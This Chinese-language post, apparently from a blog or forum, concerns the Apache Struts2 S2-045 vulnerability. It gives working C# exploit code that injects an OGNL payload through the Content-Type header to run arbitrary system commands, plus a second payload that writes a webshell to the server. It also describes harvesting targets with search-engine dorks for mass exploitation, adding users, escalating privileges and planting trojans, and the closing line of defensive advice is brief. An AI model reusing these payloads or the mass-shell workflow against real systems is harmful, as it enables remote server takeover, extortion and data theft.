S2-045漏洞已经爆发几天了，但还很多网址都存在此漏洞，很多金融类网站也收到了保护费通知、、、唉，收保护费少，报警无效！只能酌情处理了！做黑产的，还是少做为秒，常在河边站哪有不湿鞋，劝各位早日金盆洗手！
至于漏洞原理我就不多讲了！为啥？？？ 因为我也没研究，我也不懂！！！
有工作室找我写了一个批量shell的工具，我只是简单的放出一部分代码。使用的C#
public static string ExecuteStruts2(string url,string cookie,string cmd)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;
HttpWebRequest request = null;
try
{
request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "GET";
request.AllowAutoRedirect = false;
if (!string.IsNullOrEmpty(cookie)) {
request.Headers.Add("Cookie",cookie);
}
request.ContentType = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}";
request.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36";
request.Timeout = 50000;
request.ServicePoint.ConnectionLimit = 500;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
string result = "";
string encoding = "gb2312";
if (!string.IsNullOrEmpty(response.CharacterSet)) {
encoding = response.CharacterSet;
}
Stream myResponseStream = response.GetResponseStream();
StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding(encoding));
result = myStreamReader.ReadToEnd();
myStreamReader.Close();
myResponseStream.Close();
response.Close();
request.Abort();
return result;
}
catch(Exception ex)
{
request.Abort();
return "执行错误："+ex.Message;
}
}
这个是执行命令的，比如创建用户，提权，然后可以远程或者传马
还可以上传webshell，只要把ContentType修改成：
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('"+path+ "')).(#shell='我是shell').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/shell文件名').append(#shell)).close()).(#cmd='echo path:'+#path).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
还有其他玩法可以自行修改。然后就是inurl:****.action，然后爬搜索引擎，抓url，批量检测，批量上传shell。
有用struts2的赶紧看看最近几天有没有生成的jsp,jspx等的新文件吧，至于修复，网上很多办法，还有第三方工具等